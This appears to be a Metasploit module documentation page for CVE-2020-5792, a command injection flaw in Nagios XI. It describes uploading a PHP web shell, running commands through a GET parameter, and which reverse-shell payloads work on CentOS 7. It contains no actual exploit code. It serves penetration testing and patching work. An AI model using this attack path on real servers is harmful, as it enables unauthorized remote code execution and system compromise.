List of CVEs: CVE-2020-5792
This module exploits an OS command injection vulnerability
in includes/components/nxti/index.php that enables an
authenticated user with admin privileges to achieve remote
code execution as the apache
user. The module uploads a
simple PHP shell via includes/components/nxti/index.php to
includes/components/autodiscovery/jobs/<php_shell> and then
executes the payload as the apache
user via an HTTP GET
request to
includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>
Valid credentials for a Nagios XI admin user are required.
This module has been successfully tested against Nagios XI
5.7.3 running on CentOS 7.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage

Knowledge Base
Vulnerable Application
This module exploits an OS command injection vulnerability (CVE-2020-5792) in includes/components/nxti/index.php
that enables an authenticated user with admin privileges to achieve remote code execution as the apache
user.
The module's check
method takes advantage of the Msf::Exploit::Remote::HTTP::NagiosXi
mixin in order to authenticate to the target and
obtain the Nagios XI version number, which is then used to check if the target is version 5.5.0-5.7.3 and therefore vulnerable.
Next, the module uploads a simple PHP shell via includes/components/nxti/index.php
to includes/components/autodiscovery/jobs/<php_shell>
and then executes the payload via a HTTP GET request to includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>
. This will
will result in the command specified by the attacker, aka <cmd>
, being executed as the apache
user.
The module supports linux/x64
and linux/x86
payloads (target 0) as well as cmd/unix
payloads (target 1),
However, the only reliable cmd/unix
payloads against a typical Nagios XI host (CentOS 7 minimal) seem to be
cmd/unix/reverse_awk
, cmd/unix/reverse_perl_ssl
and cmd/unix/reverse_openssl
.
Valid credentials for a Nagios XI admin user are required. This module has been successfully tested against Nagios XI 5.7.3 running on CentOS 7.
Vulnerable software for testing is available here. Detailed installation instructions are available here and an official video tutorial is available here.

Description:
This module exploits an OS command injection vulnerability in
includes/components/nxti/index.php that enables an authenticated
user with admin privileges to achieve remote code execution as the
`apache` user. The module uploads a simple PHP shell via
includes/components/nxti/index.php to
includes/components/autodiscovery/jobs/<php_shell> and then executes
the payload as the `apache` user via an HTTP GET request to
includes/components/autodiscovery/jobs/<php_shell>?<php_param>=<cmd>
Valid credentials for a Nagios XI admin user are required. This
module has been successfully tested against Nagios XI 5.7.3 running
on CentOS 7.
